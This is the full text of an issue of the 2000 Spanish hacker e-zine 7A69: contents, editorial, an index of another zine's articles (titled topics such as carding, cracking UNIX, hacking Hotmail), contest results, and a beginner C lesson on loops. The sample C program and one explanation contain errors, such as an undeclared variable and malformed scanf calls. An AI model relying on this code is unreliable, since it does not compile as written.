Copy Link
Add to Bookmark
Report
7A69 Issue 09
ÉÍÍÍÍÍÍÍÍÍÍÍÍ»
---------------------º 19-06-00 º-------------------
ÈÍÍÍÍÍÍÍÍÍÍÍͼ
------------------------------------------------------
²²²²²²²²²²²° ²²²²° ²²²° ²²²²°
²²° ²²° ²²° ²²° ²²° ²²°
²²° ²²° ²²° ²²° ²²° ²²°
²²° ²²° ²²° ²²²²²° ²²° ²²°
²²° ²²²²²²²²²²° ²²° ²²° ²²²²²°
²²° ²²° ²²° ²²° ²²° ²²°
²²° ²²° ²²° ²²° ²²° ²²°
²²° ²²° ²²° ²²²²²° ²²²°
------------------------------------------------------
E-ZINE PARA GENTE LIBRE
------------------------------------------------------
[ Num 9 - A¤o II ] [ editor: Ripe ]
-Distribuidores oficiales de 7A69-
http://www.7a69ezine.8m.com
http://www.zine-store.com.ar
http://move.to/thieves
-E-Mail oficial-
7a69ezine@mixmail.com
-Colaboradores en este numero-
AiNaKeR (ainaker@mixmail.com)
IReick (ireick@hotmail.com)
Doing (jdoing@bigfoot.com)
Relay (?@?)
Ripe (ripe@mixmail.com)
Tahum (tahum@demasiado.com)
Trycky (trycky_83@mixmail.com)
Pollo1 (?@?)
-Recomendaciones-
Usar el EDIT de MS-DOS o el JED de linux para leer este E-Zine
------------------------------------------------------
"What's UNIX? don't worry, it's not nesesary"
#############################################################################
# NOTA: Ninguno de los colaboradores en este e-zine se responsabiliza del #
# mal use que el lector pueda hacer de la informacion que aqui se #
# presenta, ya que esta esta expuesta con fines unicamente #
# informativos. Asi que ya sabes TODO LO QUE HAGAS ES RESPONSABILIDAD #
# TUYA, NO NUESTRA. #
#############################################################################
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º * AUTOR * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º1.- Presentacion º K va, k vaaaa º º Editor º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º2.- Indice RaReGaZz [8-16] º Otro E-Zine º º Editor º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º3.- Resultados del concurso yº Concurso º º Editor º
º Algo como lo que hay º º º º
º arriba. º º º º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º4.- Curso de C y C++ III º Programacion º Bajo º IReick º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º5.- Curso de UNIX V º Hacking º Bajo º Ripe º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º6.- Algoritmo DES º Criptografia º Medio/Alto º Doing º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º7.- mIRC Scripting º Programacion º Bajo º AiNaKeR º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º8.- Introduccion al phreakingº Phreaking º Medio/Bajo º Relay º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º9.- Buscadores y troyanos; º Internet..... º Muy Bajo º Tahum & º
º la moda de Internet. º º º pollo1 º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º10.- Dervordando el buffer º Programacion ºAlto/Muy altoº Doing & º
º º º º Ripe º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º11.- Jugando con los CGI's º Programacion º Medio/Bajo º IReick º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º12.- Firewall bajo LinuX º Security º Medio º Trycky º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º13.- Proyectos º El futuro º º Editor º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º14.- Noticias / Curiosidades º Actualidad º º Ripe º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º15.- La voz del lector º Mailing º º Editor º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄĺ
º16.- Despedida º Un numero mas º º Editor º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍͼ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º1.- Presentacion º º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Editor ]
Numero nueve, a¤o dos..... me gusta como suena :)
Bueno lector, ya estamos aqui de nuevo, tras un largo periodo de tiempo
(disculpad el retraso, pero es que estamos todos de examenes y mierdas), y
como no, superando una vez mas el numero anterior; en contenido, en tama¤o,
en proyectos.... en todo.
LLegan ahora las vacaciones (Bieeen!!) por lo que los miembros del staff nos
tomaremos unas peque¤as holidays merecidas... pero esperamos que en 3 meses
(o incluso menos) podais disponer del numero 10 (jeje, pasamos ya a las dos
cifras :P).
¨Y que co¤o hago estos tres meses sin 7a69? os preguntareis (o no), pues
sencillo, primero leer este numero :) luego disfrutar del verano, de la
playa, de los momentos de ludopatia, de los ligues de verano... y los que no
esten conforme con todo ello pueden tratar de organizar una quedada de
hackers, que seguro que cerca de tu zona hay alguien mas que piensa como tu.
Vamos alla..... ah! Gracias a todos los que habeis enviado algun logo, y no
olvideis participar en el nuevo concurso.... :P
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º2.- Indice RaReGaZz [8-16] º º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Editor ]
Bueno, por aqui teneis la segunda y ultima entrega del indice del ezine
RaReGaZz (llevan ya mucho tiempo sin sacar un numero, esperamos ver pronto
el numero 17).
----{ RaReGaZz 8 }-----------------------------------------------------------
1.- WareZ world - KillerBot
2.- Como crackear cualquier sistema basado en UNIX - GuyBrush
3.- Como destruir la competencia... en un sistema de redes - Mr.X
4.- Los secretos del carding - RareTrip
5.- phreaking & hacking - Azum Lord
6.- Los hackers de las Macintosh - Macz lover
7.- Los malos de CYBERsitter - ???
8.- Surfeo de puertos - ???
9.- Denial of service (introduccion) - Swoish
10.- L3TZ HACK - ???
11.- BOO/\/\ERA/\/G - RareTrip
12.- NotiLOONS - Groovy
-----------------------------------------------------------------------------
----{ RaReGaZz 9 }-----------------------------------------------------------
1.- Introduccion extraodinaria - ???
2.- Manual de seguridad - ServerHacker
3.- IRC X-) - GuyBrush
4.- Hackeando web's - Azum Lord
5.- Estudiar o trabajar y permanecer despierto - Ergot
6.- Cracker applets jack - RareTrip
7.- Ingenieria social - ???
8.- Hacking Novel Netware - KillerBot
9.- Eliminando nuestras huellas del sistema - GuyBrush
10.- J.J.F. / Hackers Team - Conde Vampiro
11.- Como Mexico no hay dos - Mr.X
12.- Terminos usados en el hacking world - ???
13.- El presumido - Dr.Seuss
14.- Kevin Mitnick, recluso 88950-012 - ???
15.- Manual para el ocio - 7.Sh1m4
16.- El nuevo robo - ???
17.- NotiLOONS - Groovy
18.- BOO/\/\ERA/\/G - RareTrip
19.- Seccion uuencode - ???
20.- RaReGaZz a finales del a¤o 1997 - WebGuru & RareTrip
-----------------------------------------------------------------------------
----{ RaReGaZz 10 }----------------------------------------------------------
1.- Virus Bath! - Yo soy
2.- Permisos de archivos en UNIX - VoraX
3.- Emuladores y roms(la ultima aventura) - ???
4.- Hackeando chat rooms de HTML - Filo
5.- Comunicado del EZLN sobre la guerra en chiapas Mexico - ???
6.- Como mandar mensajes gratis desde un movil digital - DreamWeaver
7.- Shell acounts de UNIX gratis - VoraX
8.- Como usar GLIDE (con que y para que) - RdK
9.- Anarkia... mas sobre el arte de herir cosas vivientes - Anonimo
10.- ¨Existe la anonimidad en la red? - ???
11.- Novegando anonimamente (servidores proxies) -
12.- Comando Touch de UNIX -
13.- Las posiblidades en Windows NT -
14.- Mas bichos en internet -
15.- Religion y otras cosas inservibles -
16.- Buscadores en internet -
17.- World Wide Web = Mercado mas grande del mundo -
18.- UNIX System V interface definition -
19.- La guia para joder cualquier automovil -
20.- Cracks, Hacks y Kaos con un editor hexadecimal -
21.- NOTI-LOONS -
22.- BOO/\/\ERANG -
-----------------------------------------------------------------------------
----{ RaReGaZz 11 }----------------------------------------------------------
1.- Introduccion - GuyBrush
2.- Conoce a tu enemigo : ES-CERT - Nobody
3.- Interactividad, Forms & Scripts CGI - Sebastian Quiroga
4.- Carding - SlimeLORD
5.- Como aprobechar los puertos de un sistema - GuyBrush
6.- Phreaking cellulars - SlimeLORD
7.- Programing cellulars - SlimeLORD
8.- Como ser un "jacker" en 10 minutos - 0'Flaherty
9.- Bug Win95+HP - 12r43lOverdrive
10.- Cambiar el logo de inicio del Windows 3.x - Mr_Frost
11.- Trucos para el IRC hispano - Lobo
12.- Las posiblidades de NT (parte 2) - Azum Lord
-----------------------------------------------------------------------------
----{ RaReGaZz 12 }-----------------------------------------------------------
1.- Introduccion - ???
2.- Que diablos es PCS???? - Azum Lord
3.- Nintendo emus - Yo soy
4.- 100 razones por las que es maravilloso ser hombre - Lobo
5.- Hackeando un sistema Linux - Ironbox
6.- Hacking Win95 - 12r43 Overdrive
7.- Como conseguir warez - Sergii
8.- UNIX: sistema de archivos - GuyBrush
9.- Easter eggs - Cytorax
10.- Antes de ser phreaker - El emperador
11.- Cartas del lector - GuyBrush
12.- Noticias - ???
13.- Despedida - ???
-----------------------------------------------------------------------------
----{ RaReGaZz 13 }----------------------------------------------------------
1.- Editorial - Azum Lord
2.- Proramacion en Shell I - 12r
3.- El atake 'WINLOOP' - Yo_soy
4.- Programacion de los Nokia 638 - Zorro
5.- El mundo GNU/Linux - KH
6.- Texto de ayuda sobre el mundillo del IRC - Cyberdan
7.- registro del NT - Cytorax
8.- Puertas traseras - Azum Loed
9.- Bombas, bombas! Que pasa? - Mr.Nexus
10.- Como ejecutar aplicaciones desde netscape (X version) - jabm
11.- Hackear desde win95 y desde linux - Hook
12.- Comunicado de X-Ploit - X-ploi Team
13.- Cartas del lector - GuyBrush
14.- Noticias - GuyBrush
15.- Llaves PGP - RaReGaZz Staff
16.- Despedida
-----------------------------------------------------------------------------
----{ RaReGaZz 14 }----------------------------------------------------------
1.- Editorial - Cytorax
2.- Progress - Azum Lord
3.- Manual de bolsilo de Perl - Cytorax
4.- Web spoofing - GuyBrush
5.- Peligros en Windows - Yo_soy
6.- Introduciendo tus exploits - Yo_soy
7.- Estecanografia - PaTa
8.- Curso de antivirus - Jhocker
9.- Back Orifice - Barbwired/FREEDOM
10.- Fucking TeLMeX - Juan Pablo
11.- Reflexiones de nadie - Sr.Nexus
12.- Bugs y Exploits - PaTa
13.- Letz hack - Azum Lord
14.- Accediendo al IRC por telnet - Senpai
15.- Cartas del lector - GuyBrush
16.- NotiLOONZ - GuyBrus/Azum Lord
17.- Llaves PGP - RaReGaZz Staff
18.- DESPEDIDA?? - Cytorax -Azum Lord
-----------------------------------------------------------------------------
----{ RaReGaZz 15 }----------------------------------------------------------
1.- Editorial - GuyBrush
2.- Tecnicas de Mailbombing - Senpai/GuyBrush
3.- Fraude electronico (Carding) - PaTa
4.- Telefonos celulares (Phreaking) - Azum Lord
5.- Guia para hackear Hotmail - \Wend|go
6.- Crackear PWL's con el PLWOSR - Chack
7.- Agentes inteligentes - 12r
8.- varios trucos intresantes - SatMex
9.- Maneras de colarse en el HD (IRC) - ToMaCHeLi/ZeD
10.- IRC (guia rapida) - Yo_Soy
11.- Cisco Routers - GuyBrush
12.- Hack basico -Mr.Aztech/
13.- Guia de instalacion de CPI's - Unamed Person
14.- Virus Bath (2a parte) - Yo_Soy
15.- Corba - 12r
16.- Blue boxing en Argentina - Dr_Format^
17.- Entrevista a X-Ploit Team - GuyBrush
18.- Bugs & Exploits - PaTa
19.- Historias del IRC (segunda parte) - GuyBrush
20.- Noticias - GuyBrush
21.- Cartas del lector - GuyBrush
22.- Llaves PGP - RaReGaZz Staff
23.- Despedida -GuyBrush
-----------------------------------------------------------------------------
----{ RaReGaZz 16 }----------------------------------------------------------
1.- Editorial - Editor
2.- Manual de cracking - Antikton
3.- IP-Spoofing - GuyBrush
4.- Mi primera vez - ReYDeS
5.- Reprogramacion de las centralitas de la policia nacional espa¤ola - Edmon Dantes
6.- Proyecto Neptuno (Flood TCP SYN) - PiErCinG
7.- A ver que coni sun hacker? - The Buscon of astalavista
8.- Bugs y Exploits - PaTa
9.- Snow Box - enan0
10.- Irc por telnet (2a parte) - Senpai
11.- Pandemonium - RaRe-Team
12.- Introduccion a los caruchos de GameBoy - Aj0
13.- Chaping v2.5 - Armand VanHell
14.- Noticias - PaTa
15.- Correo del lector - RaRe-Team
16.- Phreak Extrtaction Utility - Phrack Magazine
17.- Llaves PGP - RaRe-Team
-----------------------------------------------------------------------------
Este ultimo numero, corresponde a Septiembre del 1999..... por el tiempo que
lleva transcurrido no creo que tarden mucho en sacar el numero 17, asi que
estad atentos.
Si quereis obtener alguno de los numero de RaReGaZz solo teneis que
pasaros por:
http://raregazz.acapulco.uagro.mx
En 7a69#10 volveremos con el indice de algun ezine de habla hispana.... ¨cual
sera? Toca esperar.
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º3.- Resultados del concurso y º Concurso º º
º Algo como lo que hay º º º
º arriba º º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Editor ]
He de decir que me ha sorprendido la respuesta que habeis tenido a este
concurso. Habeis mandado bastantes logos (y yo que creia que no pasariamos de
los 2 o 3 ;P), algunos de ellos muy intresantes. Ademas alguno se a animado
tambien a hacer algun banner... (thz NeMr0d, thz Mataanos).
Como en todo concurso que se precie, tuvimos algun que otro juez (alguien
tenia que votar :P), y estos fueron:
Ripe - Doing - Tricky - AiNaKeR - ]k1ki[ - ScsiX
Los resultados de la votacion fueron los siguientes... (podeis comprobar que
yo tambien presente mi logo al concurso.... ehehe).
Logo1-Logo2-Logo3-Logo4-Logo5-Logo6-Logo7-Logo8-Logo9-Logo10-Logo11
| | | | | | | | | | | |
Ripe | 6 | 7 | 8 | 7 | 7 | 6 | 6 | 8 | 6 | 6 | -- |
| | | | | | | | | | | |
Doing | 7 | 6 | 8 | 8 | 6 | 6 | 7 | 6 | 4 | 5 | 7 |
| | | | | | | | | | | |
Tricky | 4 | 5 | 8 | 7 | 7 | 7 | 7 | 8 | 3 | -- | 7 |
| | | | | | | | | | | |
]k1ki[ | 6 | 3 | 4 | 3 | 3 | 3 | 3 | 5 | 4 | 5 | 7 |
| | | | | | | | | | | |
ScsiX | 4 | 5 | 6 | 6 | 5 | 5 | 5 | 6 | 2 | 4 | 6 |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Medias: 5,2 - 5,2 - 6,8 - 6,2 - 5,6 - 5,4 - 5,6 - 6,6 - 3,8 - 5,0 - 6,75 -
Aunque estos sean los resultados he de decir que no hay ni ganadores ni
perdedores, pues el premio "que era el honor de tener el propio logo en la
pagina de presentacion de la web de 7a69Ezine" sera repartido entre todos :P
¨Como, como, como? ¨vais a meter todos los logos en la pagina de
presentacion? Ande vas animal! :P No, pero de uno en uno se iran alternando
el pertenecer a la pagina de presentacion... asi pues cada mes (mas o menos)
cambiaremos el logo (dicen que la variedad no aburre). Lo mismo haremos con
los banners que hemos recibido. Asi nadie pirde y todos ganan :P (desdeluego
el premio es una cutrada....Algo es algo ¨no?).
Seguidamente y para que podais verlos hemos decidido meter los logos y los
banners que nos habeis mandado en el interior del Zip :)
Logo1.gif -> Autor: Tahum
Media: 5,2
Logo2.gif -> Autor: kolision
Media: 5,2
Logo3.gif -> Autor: NeMr0d
Media: 6,8
Logo4.gif -> Autor: NeMr0d
Media: 6,2
Logo5.gif -> Autor: NeMr0d
Media: 5,6
Logo6.gif -> Autor: NeMr0d
Media: 5,4
Logo7.gif -> Autor: NeMr0d
Media: 5,6
Logo8.gif -> Autor: NeMr0d
Media: 6,6
Logo9.jpg -> Autor: [Morgan]
Media: 3,8
Logo10.jpg -> Autor: Tricky
Media: 5,0
Logo11.jpg -> Autor: Ripe
Media: 6,75
Visto todo esto.... ¨Quereis un nuevo concurso? ¨Si? No os oigo... Bueno,
pues... venga, organicemos otro :)
Para este segundo concurso lo que podeis mandarnos son dise¤os para la
rebista (aspecto del indice, presentacion de los articulos, titulos en
ASCII's megacurrados.... Lo que se os ocurra relacionado con la
presentacion de 7a69Ezine ;->)
Empezad a mandar cosillas a 7a69ezine@mixmail.com (venga venga).
NOTA: Lo que somos capaces de hacer para no trabajar... xD
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º4.- Curso de C y C++ III º Programacion º Bajo º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ IReik ]
Bueno, pues llegamos a la tercera entrega de este cursillo de introduccion
al C, en esta entrega trataremos bucles, estos nos permitiran ejecutar una o
varias sentencias un numero determinado de veces, veremos las instrucciones
que usamos en turbo C para conseguir crear estos bucles y ejemplos practicos
que nos permitan ver su funcionamiento. Asi pues, vamos a por ello. Solo una
cosa, nueva direccion de correo ireick@e-n-g.org para cualquier consulta,
dudas, erratas, etc. Ahora si, a por ello.
CAPITULO 5 - BUCLES
5.1 Incremento y decremento
Los llamados operadores de incremento (++) y decremento (--) son aquellos
que suman uno o restan uno, respectivamente al valor de la variable:
Ej:
a++; esto seria igual a a = a + 1;
a--; esto seria igual a a = a - 1;
--a; esto seria igual a a = a - 1;
++a; esto seria igual a a = a + 1;
Es decir si a vale 69 en el primer y ultimo caso pasara a valer 70, en
cambio en el segundo y tercer ejemplo valdra 68.
Algunos ya se preguntaran que diferencia hay entre poner los operadores
antes o despues de la variable, bien veamos un ejemplo:
d = 48 + a++;
d = 48 + ++a;
Suponiendo que a vale 1, en el primer caso, primero se le sumara a (que es
uno) 48 y eso nos dara que la variable d = 49 y posteriormente incrementa el
valor de a y solo de a, es decir a = 2. En cambio en el segundo caso antes
de calcular d se le incrementa el valor en una unidad a a que pasa a valer
2 y se le suma ese dos (la a incrementada) a 48 con la cual cosa a = 50.
5.2 While
Esta instruccion nos permitira crear bucles (serie de instrucciones que se
repetiran un número controlado de veces) en nuestros programas. Vamos a ver
su formato:
while(condicion)
sentencia;
Asi pues, while lo que hara sera comprobar la expresion que ponemos como
condicion entre parentesis y mientras esta se cumpla, se repetira la
sentencia o conjunto de ordenes que nosotros marquemos, cuando la condicion
deje de cumplirse la sentencia dejara de ejecutarse.
Recordemos que para establecer la condicion disponemos de operadores de
relacion y lógicos, ej:<,<, ==, ||... (recuerdo que todos estos se vieron en
un numero atrasados, asi que ya sabeis, si no teneis buena memoria toca
releer).
Igualmente, como con la instruccion if podremos incluir una sentencia
compuesta, incluyendo las diferentes instrucciones entre parentesis. Veamos
un ejemplo practico:
EJ:
a = 1
while (a < 30)
{
printf("bucle\N");
a++;
}
En este ejemplo le damos a la variable a el valor de uno y entonces creamos
un bucle con while que nos mostrara en la pantalla el mensaje "bucle" e
incrementara el valor de a en una unidad, esto se repetira mientras a sea
menos que treinta, cuando sea a igual o mayor que treinta la condicion no se
cuplira y entonces se pasara a ejecutar la siguiente instruccion.
Igualmente podemos usar una sentencia nula en el bucle poniendo unicamente
punto y coma. Veamos un ejemplo:
printf("pulsa espacio");
while((tecla = getch()) != ' ')
;
Este fragmento nos mostrara en pantalla el mensaje "pulsa espacio" mientras
no pulsemos la barra espaciadora, cuando esta se pulse continuara con la
siguiente instruccion.
Bueno, con el while finalizamos este punto 5 y como lo prometido es deuda en
este capitulo tanto del punto 5 como del seis pondremos un programa de
ejemplo (no os espereis gran cosa :P) para ver con la practica lo que
estudiamos con la teoria. En teoria estos ejemplos deberian compilar sin
problemas en turbo C para ms-dos, si algo no funciona y no entendeis porque,
pues ya sabeis, ireick@e-n-g.org
El siguiente ejemplo consiste en un programa que nos permitira seleccionar
desde un menu dos opciones, sumar y salir, si elegimos sumar se nos pediran
dos numeros por pantalla y el programa nos dara el resultado, si elegimos
salir... bueno seguro que os lo imaginais ;P, pues nada vamos alla con el
codigo:
--------------------------------cortar aqui---------------------------------
main()
{
int numuno,numdos,total,seleccion;
char tecla;
opcion = 3;
while (opcion != 2)
{
while(opcion > 2)
{
clrscr()
gotoxy(10,5);printf("1.sumar");
gotoxy(10,9);printf("2.salir");
gotoxy(10,11);printf("selecciona opcion: ");
scanf("%d",&seleccion);
}
if (opcion == 1)
{
clrscr()
gotoxy(10,5);printf("numero uno: ");
scanf("%d";&numuno);
gotoxy(10,7);printf("numero dos: ");
scanf("%d";&numdos);
total = numuno + numdos;
gotoxy(10,9);printf("El total es %d",total);
while ((tecla = getch()) != ' ')
;
opcion = 3;
}
}
}
---------------------------------cortar aqui------------------------------
me parece que el codigo es bastante claro, y por ello no he incluido
comentarios, porsupuesto, cualquier duda o comentario a ireick@e-n-g.org
CAPITULO 6 - BUCLES CONDICIONALES
6.1 For
Esta es una instruccion que nos permitira crear bucles, esta instruccion es
muy util y nos servira para hacer que un conjunto de sentencias se repitan
un numero determinado de veces mientras va modoficando una variable que es
la que marcara si deben ejecutarse las sentencias o no.
Su formato es el siguiente:
for(ex1;ex2;ex3)
sentencia;
donde ex1 dara un valor a la variable que nos servira como contador, ex2 es
la condicion para que el bucle se repita y ex3 es la modificacion que
sufrira la variable inicial con cada "vuelta". Como siempre, un ejemplo:
for (a=1;a<=20;a++)
printf("bucle\N");
este codigo daria a la variable a el valor de uno, estableceria como
condicion para que se ejecuten la/s sentencia/s que a ha de ser menor o
igual que veinte y incrementaria el valor de a en una unidad cada vez que se
diese una "vuelta". En este caso se nos mostraria en pantalla 20 veces el
mensaje "bucle".
Apuntar solamente que en la condicion del for pueden utilizarse tanto
operadores de relacion como logicos (para asi poder establecer mas de una
condicion), asi como podremos utilizar sentencias simples, compuestas
(siempre corchetes) o nulas.
Sigamos insistiendo en la instruccion for, vale la pena ya que es muy
potente o flexible como iremos viendo.Por ejemplo, debemos saber, que aunque
el formato de la instruccion for si podemos omitir expresiones para ponerlas
en otras partes del programa o bien utilizar mas de una expresion.
Veamos un ejemplo:
contador=1;
for(;contador<=5;) /*vease que nunca omitimos el punto y coma*/
{
pintf("%d",contador);
contador++;
}
esto seria lo mismo que
for(contador=1;contador<=5;contador++)
printf("%d",contador);
tenganse en cuenta que es algo poco recomendable suprimir la segunda
expresion ya que nos encontrariamos ante un bucle que se repetiria una y
otra vez sin finalizar nunca.
Igualmente podriamos poner mas de una expresion en lo que seria ex1 y ex3
(recuerde que para establecer mas de una condicion debera usar operadores
logicos), simplemente separando las expresiones con ; (punto y coma :P)
Vamos a verlo:
